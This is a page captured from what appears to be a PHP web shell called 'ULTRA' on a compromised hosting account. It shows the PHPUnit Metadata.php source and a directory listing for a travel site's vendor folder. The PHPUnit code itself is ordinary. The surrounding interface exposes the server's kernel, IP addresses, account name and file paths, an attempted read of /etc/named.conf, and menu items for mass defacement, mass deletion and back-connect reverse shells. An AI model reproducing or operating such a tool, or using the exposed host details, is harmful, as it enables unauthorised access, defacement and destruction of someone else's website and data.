ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.62 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.228

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ home / sspsof5 / ssptourandtravels.in / vendor / phpunit / phpunit / src / Metadata /

Home Upload Mass Deface Mass Delete Back Connect Notify

Metadata.php

<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Metadata;

use PHPUnit\Metadata\Version\Requirement;

/**
 * @psalm-immutable
 *
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 */
abstract class Metadata
{
    private const CLASS_LEVEL  = 0;
    private const METHOD_LEVEL = 1;
    private readonly int $level;

public static function after(): After
    {
        return new After(self::METHOD_LEVEL);
    }

public static function afterClass(): AfterClass
    {
        return new AfterClass(self::METHOD_LEVEL);
    }

public static function backupGlobalsOnClass(bool $enabled): BackupGlobals
    {
        return new BackupGlobals(self::CLASS_LEVEL, $enabled);
    }

public static function backupGlobalsOnMethod(bool $enabled): BackupGlobals
    {
        return new BackupGlobals(self::METHOD_LEVEL, $enabled);
    }

public static function backupStaticPropertiesOnClass(bool $enabled): BackupStaticProperties
    {
        return new BackupStaticProperties(self::CLASS_LEVEL, $enabled);
    }

public static function backupStaticPropertiesOnMethod(bool $enabled): BackupStaticProperties
    {
        return new BackupStaticProperties(self::METHOD_LEVEL, $enabled);
    }

public static function before(): Before
    {
        return new Before(self::METHOD_LEVEL);
    }

public static function beforeClass(): BeforeClass
    {
        return new BeforeClass(self::METHOD_LEVEL);
    }

/**
     * @psalm-param class-string $className
     */
    public static function coversClass(string $className): CoversClass
    {
        return new CoversClass(self::CLASS_LEVEL, $className);
    }

public static function coversFunction(string $functionName): CoversFunction
    {
        return new CoversFunction(self::CLASS_LEVEL, $functionName);
    }

public static function coversOnClass(string $target): Covers
    {
        return new Covers(self::CLASS_LEVEL, $target);
    }

public static function coversOnMethod(string $target): Covers
    {
        return new Covers(self::METHOD_LEVEL, $target);
    }

/**
     * @psalm-param class-string $className
     */
    public static function coversDefaultClass(string $className): CoversDefaultClass
    {
        return new CoversDefaultClass(self::CLASS_LEVEL, $className);
    }

public static function coversNothingOnClass(): CoversNothing
    {
        return new CoversNothing(self::CLASS_LEVEL);
    }

public static function coversNothingOnMethod(): CoversNothing
    {
        return new CoversNothing(self::METHOD_LEVEL);
    }

/**
     * @psalm-param class-string $className
     */
    public static function dataProvider(string $className, string $methodName): DataProvider
    {
        return new DataProvider(self::METHOD_LEVEL, $className, $methodName);
    }

public static function dependsOnClass(string $className, bool $deepClone, bool $shallowClone): DependsOnClass
    {
        return new DependsOnClass(self::METHOD_LEVEL, $className, $deepClone, $shallowClone);
    }

public static function dependsOnMethod(string $className, string $methodName, bool $deepClone, bool $shallowClone): DependsOnMethod
    {
        return new DependsOnMethod(self::METHOD_LEVEL, $className, $methodName, $deepClone, $shallowClone);
    }

public static function doesNotPerformAssertionsOnClass(): DoesNotPerformAssertions
    {
        return new DoesNotPerformAssertions(self::CLASS_LEVEL);
    }

public static function doesNotPerformAssertionsOnMethod(): DoesNotPerformAssertions
    {
        return new DoesNotPerformAssertions(self::METHOD_LEVEL);
    }

public static function excludeGlobalVariableFromBackupOnClass(string $globalVariableName): ExcludeGlobalVariableFromBackup
    {
        return new ExcludeGlobalVariableFromBackup(self::CLASS_LEVEL, $globalVariableName);
    }

public static function excludeGlobalVariableFromBackupOnMethod(string $globalVariableName): ExcludeGlobalVariableFromBackup
    {
        return new ExcludeGlobalVariableFromBackup(self::METHOD_LEVEL, $globalVariableName);
    }

/**
     * @psalm-param class-string $className
     */
    public static function excludeStaticPropertyFromBackupOnClass(string $className, string $propertyName): ExcludeStaticPropertyFromBackup
    {
        return new ExcludeStaticPropertyFromBackup(self::CLASS_LEVEL, $className, $propertyName);
    }

/**
     * @psalm-param class-string $className
     */
    public static function excludeStaticPropertyFromBackupOnMethod(string $className, string $propertyName): ExcludeStaticPropertyFromBackup
    {
        return new ExcludeStaticPropertyFromBackup(self::METHOD_LEVEL, $className, $propertyName);
    }

public static function groupOnClass(string $groupName): Group
    {
        return new Group(self::CLASS_LEVEL, $groupName);
    }

public static function groupOnMethod(string $groupName): Group
    {
        return new Group(self::METHOD_LEVEL, $groupName);
    }

/**
     * @psalm-param class-string $className
     */
    public static function ignoreClassForCodeCoverage(string $className): IgnoreClassForCodeCoverage
    {
        return new IgnoreClassForCodeCoverage(self::CLASS_LEVEL, $className);
    }

/**
     * @psalm-param class-string $className
     * @psalm-param non-empty-string $methodName
     */
    public static function ignoreMethodForCodeCoverage(string $className, string $methodName): IgnoreMethodForCodeCoverage
    {
        return new IgnoreMethodForCodeCoverage(self::CLASS_LEVEL, $className, $methodName);
    }

/**
     * @psalm-param non-empty-string $functionName
     */
    public static function ignoreFunctionForCodeCoverage(string $functionName): IgnoreFunctionForCodeCoverage
    {
        return new IgnoreFunctionForCodeCoverage(self::CLASS_LEVEL, $functionName);
    }

public static function postCondition(): PostCondition
    {
        return new PostCondition(self::METHOD_LEVEL);
    }

public static function preCondition(): PreCondition
    {
        return new PreCondition(self::METHOD_LEVEL);
    }

public static function preserveGlobalStateOnClass(bool $enabled): PreserveGlobalState
    {
        return new PreserveGlobalState(self::CLASS_LEVEL, $enabled);
    }

public static function preserveGlobalStateOnMethod(bool $enabled): PreserveGlobalState
    {
        return new PreserveGlobalState(self::METHOD_LEVEL, $enabled);
    }

public static function requiresFunctionOnClass(string $functionName): RequiresFunction
    {
        return new RequiresFunction(self::CLASS_LEVEL, $functionName);
    }

public static function requiresFunctionOnMethod(string $functionName): RequiresFunction
    {
        return new RequiresFunction(self::METHOD_LEVEL, $functionName);
    }

/**
     * @psalm-param class-string $className
     */
    public static function requiresMethodOnClass(string $className, string $methodName): RequiresMethod
    {
        return new RequiresMethod(self::CLASS_LEVEL, $className, $methodName);
    }

/**
     * @psalm-param class-string $className
     */
    public static function requiresMethodOnMethod(string $className, string $methodName): RequiresMethod
    {
        return new RequiresMethod(self::METHOD_LEVEL, $className, $methodName);
    }

public static function requiresOperatingSystemOnClass(string $operatingSystem): RequiresOperatingSystem
    {
        return new RequiresOperatingSystem(self::CLASS_LEVEL, $operatingSystem);
    }

public static function requiresOperatingSystemOnMethod(string $operatingSystem): RequiresOperatingSystem
    {
        return new RequiresOperatingSystem(self::METHOD_LEVEL, $operatingSystem);
    }

public static function requiresOperatingSystemFamilyOnClass(string $operatingSystemFamily): RequiresOperatingSystemFamily
    {
        return new RequiresOperatingSystemFamily(self::CLASS_LEVEL, $operatingSystemFamily);
    }

public static function requiresOperatingSystemFamilyOnMethod(string $operatingSystemFamily): RequiresOperatingSystemFamily
    {
        return new RequiresOperatingSystemFamily(self::METHOD_LEVEL, $operatingSystemFamily);
    }

public static function requiresPhpOnClass(Requirement $versionRequirement): RequiresPhp
    {
        return new RequiresPhp(self::CLASS_LEVEL, $versionRequirement);
    }

public static function requiresPhpOnMethod(Requirement $versionRequirement): RequiresPhp
    {
        return new RequiresPhp(self::METHOD_LEVEL, $versionRequirement);
    }

public static function requiresPhpExtensionOnClass(string $extension, ?Requirement $versionRequirement): RequiresPhpExtension
    {
        return new RequiresPhpExtension(self::CLASS_LEVEL, $extension, $versionRequirement);
    }

public static function requiresPhpExtensionOnMethod(string $extension, ?Requirement $versionRequirement): RequiresPhpExtension
    {
        return new RequiresPhpExtension(self::METHOD_LEVEL, $extension, $versionRequirement);
    }

public static function requiresPhpunitOnClass(Requirement $versionRequirement): RequiresPhpunit
    {
        return new RequiresPhpunit(self::CLASS_LEVEL, $versionRequirement);
    }

public static function requiresPhpunitOnMethod(Requirement $versionRequirement): RequiresPhpunit
    {
        return new RequiresPhpunit(self::METHOD_LEVEL, $versionRequirement);
    }

public static function requiresSettingOnClass(string $setting, string $value): RequiresSetting
    {
        return new RequiresSetting(self::CLASS_LEVEL, $setting, $value);
    }

public static function requiresSettingOnMethod(string $setting, string $value): RequiresSetting
    {
        return new RequiresSetting(self::METHOD_LEVEL, $setting, $value);
    }

public static function runClassInSeparateProcess(): RunClassInSeparateProcess
    {
        return new RunClassInSeparateProcess(self::CLASS_LEVEL);
    }

public static function runTestsInSeparateProcesses(): RunTestsInSeparateProcesses
    {
        return new RunTestsInSeparateProcesses(self::CLASS_LEVEL);
    }

public static function runInSeparateProcess(): RunInSeparateProcess
    {
        return new RunInSeparateProcess(self::METHOD_LEVEL);
    }

public static function test(): Test
    {
        return new Test(self::METHOD_LEVEL);
    }

public static function testDoxOnClass(string $text): TestDox
    {
        return new TestDox(self::CLASS_LEVEL, $text);
    }

public static function testDoxOnMethod(string $text): TestDox
    {
        return new TestDox(self::METHOD_LEVEL, $text);
    }

public static function testWith(array $data): TestWith
    {
        return new TestWith(self::METHOD_LEVEL, $data);
    }

/**
     * @psalm-param class-string $className
     */
    public static function usesClass(string $className): UsesClass
    {
        return new UsesClass(self::CLASS_LEVEL, $className);
    }

public static function usesFunction(string $functionName): UsesFunction
    {
        return new UsesFunction(self::CLASS_LEVEL, $functionName);
    }

public static function usesOnClass(string $target): Uses
    {
        return new Uses(self::CLASS_LEVEL, $target);
    }

public static function usesOnMethod(string $target): Uses
    {
        return new Uses(self::METHOD_LEVEL, $target);
    }

/**
     * @psalm-param class-string $className
     */
    public static function usesDefaultClass(string $className): UsesDefaultClass
    {
        return new UsesDefaultClass(self::CLASS_LEVEL, $className);
    }

public static function withoutErrorHandler(): WithoutErrorHandler
    {
        return new WithoutErrorHandler(self::METHOD_LEVEL);
    }

protected function __construct(int $level)
    {
        $this->level = $level;
    }

public function isClassLevel(): bool
    {
        return $this->level === self::CLASS_LEVEL;
    }

public function isMethodLevel(): bool
    {
        return $this->level === self::METHOD_LEVEL;
    }

/**
     * @psalm-assert-if-true After $this
     */
    public function isAfter(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true AfterClass $this
     */
    public function isAfterClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true BackupGlobals $this
     */
    public function isBackupGlobals(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true BackupStaticProperties $this
     */
    public function isBackupStaticProperties(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true BeforeClass $this
     */
    public function isBeforeClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true Before $this
     */
    public function isBefore(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true Covers $this
     */
    public function isCovers(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true CoversClass $this
     */
    public function isCoversClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true CoversDefaultClass $this
     */
    public function isCoversDefaultClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true CoversFunction $this
     */
    public function isCoversFunction(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true CoversNothing $this
     */
    public function isCoversNothing(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true DataProvider $this
     */
    public function isDataProvider(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true DependsOnClass $this
     */
    public function isDependsOnClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true DependsOnMethod $this
     */
    public function isDependsOnMethod(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true DoesNotPerformAssertions $this
     */
    public function isDoesNotPerformAssertions(): bool
    {
        return false;
    }

public function isExcludeGlobalVariableFromBackup(): bool
    {
        return false;
    }

public function isExcludeStaticPropertyFromBackup(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true Group $this
     */
    public function isGroup(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true IgnoreClassForCodeCoverage $this
     */
    public function isIgnoreClassForCodeCoverage(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true IgnoreMethodForCodeCoverage $this
     */
    public function isIgnoreMethodForCodeCoverage(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true IgnoreFunctionForCodeCoverage $this
     */
    public function isIgnoreFunctionForCodeCoverage(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RunClassInSeparateProcess $this
     */
    public function isRunClassInSeparateProcess(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RunInSeparateProcess $this
     */
    public function isRunInSeparateProcess(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RunTestsInSeparateProcesses $this
     */
    public function isRunTestsInSeparateProcesses(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true Test $this
     */
    public function isTest(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true PreCondition $this
     */
    public function isPreCondition(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true PostCondition $this
     */
    public function isPostCondition(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true PreserveGlobalState $this
     */
    public function isPreserveGlobalState(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresMethod $this
     */
    public function isRequiresMethod(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresFunction $this
     */
    public function isRequiresFunction(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresOperatingSystem $this
     */
    public function isRequiresOperatingSystem(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresOperatingSystemFamily $this
     */
    public function isRequiresOperatingSystemFamily(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresPhp $this
     */
    public function isRequiresPhp(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresPhpExtension $this
     */
    public function isRequiresPhpExtension(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresPhpunit $this
     */
    public function isRequiresPhpunit(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true RequiresSetting $this
     */
    public function isRequiresSetting(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true TestDox $this
     */
    public function isTestDox(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true TestWith $this
     */
    public function isTestWith(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true Uses $this
     */
    public function isUses(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true UsesClass $this
     */
    public function isUsesClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true UsesDefaultClass $this
     */
    public function isUsesDefaultClass(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true UsesFunction $this
     */
    public function isUsesFunction(): bool
    {
        return false;
    }

/**
     * @psalm-assert-if-true WithoutErrorHandler $this
     */
    public function isWithoutErrorHandler(): bool
    {
        return false;
    }
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 12:08:24
..	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 12:08:24
Api	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 12:08:30
Exception	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 12:08:25
Parser	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 12:08:24
Version	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 12:08:24
After.php	text/x-php	526 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
AfterClass.php	text/x-php	536 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
BackupGlobals.php	text/x-php	807 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
BackupStaticProperties.php	text/x-php	825 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
Before.php	text/x-php	528 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
BeforeClass.php	text/x-php	538 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
Covers.php	text/x-php	793 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
CoversClass.php	text/x-php	1.2 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
CoversDefaultClass.php	text/x-php	992 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
CoversFunction.php	text/x-php	1.04 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
CoversNothing.php	text/x-php	542 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
DataProvider.php	text/x-php	1.14 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
DependsOnClass.php	text/x-php	1.33 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
DependsOnMethod.php	text/x-php	1.52 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
DoesNotPerformAssertions.php	text/x-php	564 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
ExcludeGlobalVariableFromBackup.php	text/x-php	915 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
ExcludeStaticPropertyFromBackup.php	text/x-php	1.19 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
Group.php	text/x-php	809 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
IgnoreClassForCodeCoverage.php	text/x-php	1008 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
IgnoreFunctionForCodeCoverage.php	text/x-php	993 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
IgnoreMethodForCodeCoverage.php	text/x-php	1.32 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
Metadata.php	text/x-php	18.11 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
MetadataCollection.php	text/x-php	13.48 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
MetadataCollectionIterator.php	text/x-php	1.19 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
PostCondition.php	text/x-php	542 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
PreCondition.php	text/x-php	540 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
PreserveGlobalState.php	text/x-php	819 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresFunction.php	text/x-php	849 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresMethod.php	text/x-php	1.15 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresOperatingSystem.php	text/x-php	878 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresOperatingSystemFamily.php	text/x-php	929 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresPhp.php	text/x-php	933 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresPhpExtension.php	text/x-php	1.48 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresPhpunit.php	text/x-php	941 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RequiresSetting.php	text/x-php	979 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RunClassInSeparateProcess.php	text/x-php	566 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RunInSeparateProcess.php	text/x-php	556 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
RunTestsInSeparateProcesses.php	text/x-php	570 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
Test.php	text/x-php	524 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
TestDox.php	text/x-php	783 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
TestWith.php	text/x-php	782 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
Uses.php	text/x-php	789 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
UsesClass.php	text/x-php	1.2 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
UsesDefaultClass.php	text/x-php	988 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
UsesFunction.php	text/x-php	1.04 KB	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28
WithoutErrorHandler.php	text/x-php	554 B	sspsof5/sspsof5	-rw-r-----	2023-09-06 06:34:28